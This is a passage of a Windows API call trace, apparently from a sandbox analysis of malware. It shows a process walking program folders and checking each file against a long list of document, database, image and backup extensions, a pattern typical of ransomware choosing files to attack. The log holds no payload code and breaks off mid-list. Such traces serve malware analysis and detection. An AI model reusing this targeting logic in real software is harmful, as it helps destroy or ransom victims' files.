cFileName="en-ZA", cAlternateFileName="")) returned 1 [0252.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0252.946] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1 [0253.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.090] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1 [0253.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.096] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1 [0253.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.100] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0253.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.104] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0253.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.110] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1 [0253.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.114] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1 [0253.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.117] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0253.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.121] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1 [0253.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.125] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0253.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.129] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1 [0253.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.258] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0253.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.260] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1 [0253.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.262] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0253.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.264] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1 [0253.267] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.267] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1 [0253.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.269] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0253.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.271] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0253.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.274] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0253.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.276] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0253.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.278] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0253.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.331] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0253.332] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP") returned 100 [0253.332] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP") returned 1 [0253.332] lstrlenW (lpString="ja-JP") returned 5 [0253.332] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ja-JP") returned -1 [0253.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41dde40 [0253.332] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP") returned 100 [0253.332] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\*", lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cf988 [0253.337] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0253.337] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xaa3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0253.337] lstrlenW (lpString="index.html") returned 10 [0253.337] lstrlenW (lpString=".1cd") returned 4 [0253.337] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0253.337] lstrlenW (lpString=".3ds") returned 4 [0253.337] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0253.337] lstrlenW (lpString=".3fr") returned 4 [0253.337] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0253.337] lstrlenW (lpString=".3g2") returned 4 [0253.337] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0253.337] lstrlenW (lpString=".3gp") returned 4 [0253.337] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0253.337] lstrlenW (lpString=".7z") returned 3 [0253.337] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0253.337] lstrlenW (lpString=".accda") returned 6 [0253.337] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0253.337] lstrlenW (lpString=".accdb") returned 6 [0253.337] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0253.338] lstrlenW (lpString=".accdc") returned 6 [0253.338] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0253.338] lstrlenW (lpString=".accde") returned 6 [0253.338] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0253.338] lstrlenW (lpString=".accdt") returned 6 [0253.338] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0253.338] lstrlenW (lpString=".accdw") returned 6 [0253.338] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0253.338] lstrlenW (lpString=".adb") returned 4 [0253.338] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0253.338] lstrlenW (lpString=".adp") returned 4 [0253.338] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0253.338] lstrlenW (lpString=".ai") returned 3 [0253.338] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0253.338] lstrlenW (lpString=".ai3") returned 4 [0253.338] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0253.338] lstrlenW (lpString=".ai4") returned 4 [0253.338] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0253.338] lstrlenW (lpString=".ai5") returned 4 [0253.338] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0253.338] lstrlenW (lpString=".ai6") returned 4 [0253.338] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0253.338] lstrlenW (lpString=".ai7") returned 4 [0253.338] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0253.338] lstrlenW (lpString=".ai8") returned 4 [0253.338] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0253.338] lstrlenW (lpString=".anim") returned 5 [0253.338] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0253.339] lstrlenW (lpString=".arw") returned 4 [0253.339] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0253.339] lstrlenW (lpString=".as") returned 3 [0253.339] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0253.339] lstrlenW (lpString=".asa") returned 4 [0253.339] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0253.339] lstrlenW (lpString=".asc") returned 4 [0253.339] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0253.339] lstrlenW (lpString=".ascx") returned 5 [0253.339] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0253.339] lstrlenW (lpString=".asm") returned 4 [0253.339] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0253.339] lstrlenW (lpString=".asmx") returned 5 [0253.339] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0253.339] lstrlenW (lpString=".asp") returned 4 [0253.339] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0253.339] lstrlenW (lpString=".aspx") returned 5 [0253.339] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0253.339] lstrlenW (lpString=".asr") returned 4 [0253.339] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0253.339] lstrlenW (lpString=".asx") returned 4 [0253.339] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0253.339] lstrlenW (lpString=".avi") returned 4 [0253.339] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0253.339] lstrlenW (lpString=".avs") returned 4 [0253.339] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0253.339] lstrlenW (lpString=".backup") returned 7 [0253.339] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0253.340] lstrlenW (lpString=".bak") returned 4 [0253.340] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0253.340] lstrlenW (lpString=".bay") returned 4 [0253.340] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0253.340] lstrlenW (lpString=".bd") returned 3 [0253.340] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0253.340] lstrlenW (lpString=".bin") returned 4 [0253.340] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0253.340] lstrlenW (lpString=".bmp") returned 4 [0253.340] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0253.340] lstrlenW (lpString=".bz2") returned 4 [0253.340] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0253.340] lstrlenW (lpString=".c") returned 2 [0253.340] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0253.340] lstrlenW (lpString=".cdr") returned 4 [0253.340] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0253.340] lstrlenW (lpString=".cer") returned 4 [0253.340] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0253.340] lstrlenW (lpString=".cf") returned 3 [0253.340] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0253.340] lstrlenW (lpString=".cfc") returned 4 [0253.340] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0253.340] lstrlenW (lpString=".cfm") returned 4 [0253.340] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0253.340] lstrlenW (lpString=".cfml") returned 5 [0253.340] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0253.340] lstrlenW (lpString=".cfu") returned 4 [0253.340] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0253.340] lstrlenW (lpString=".chm") returned 4 [0253.341] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0253.341] lstrlenW (lpString=".cin") returned 4 [0253.341] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0253.341] lstrlenW (lpString=".class") returned 6 [0253.341] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0253.341] lstrlenW (lpString=".clx") returned 4 [0253.341] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0253.341] lstrlenW (lpString=".config") returned 7 [0253.341] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0253.341] lstrlenW (lpString=".cpp") returned 4 [0253.341] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0253.341] lstrlenW (lpString=".cr2") returned 4 [0253.341] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0253.341] lstrlenW (lpString=".crt") returned 4 [0253.341] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0253.341] lstrlenW (lpString=".crw") returned 4 [0253.341] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0253.341] lstrlenW (lpString=".cs") returned 3 [0253.341] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0253.341] lstrlenW (lpString=".css") returned 4 [0253.341] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0253.341] lstrlenW (lpString=".csv") returned 4 [0253.341] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0253.341] lstrlenW (lpString=".cub") returned 4 [0253.341] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0253.341] lstrlenW (lpString=".dae") returned 4 [0253.341] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0253.341] lstrlenW (lpString=".dat") returned 4 [0253.342] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0253.342] lstrlenW (lpString=".db") returned 3 [0253.342] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0253.342] lstrlenW (lpString=".dbf") returned 4 [0253.342] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0253.342] lstrlenW (lpString=".dbx") returned 4 [0253.342] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0253.342] lstrlenW (lpString=".dc3") returned 4 [0253.342] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0253.342] lstrlenW (lpString=".dcm") returned 4 [0253.342] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0253.342] lstrlenW (lpString=".dcr") returned 4 [0253.342] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0253.342] lstrlenW (lpString=".der") returned 4 [0253.342] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0253.342] lstrlenW (lpString=".dib") returned 4 [0253.342] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0253.342] lstrlenW (lpString=".dic") returned 4 [0253.342] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0253.342] lstrlenW (lpString=".dif") returned 4 [0253.342] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0253.342] lstrlenW (lpString=".divx") returned 5 [0253.342] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0253.342] lstrlenW (lpString=".djvu") returned 5 [0253.342] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0253.342] lstrlenW (lpString=".dng") returned 4 [0253.342] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0253.342] lstrlenW (lpString=".doc") returned 4 [0253.342] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0253.343] lstrlenW (lpString=".docm") returned 5 [0253.343] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0253.343] lstrlenW (lpString=".docx") returned 5 [0253.343] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0253.343] lstrlenW (lpString=".dot") returned 4 [0253.343] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0253.343] lstrlenW (lpString=".dotm") returned 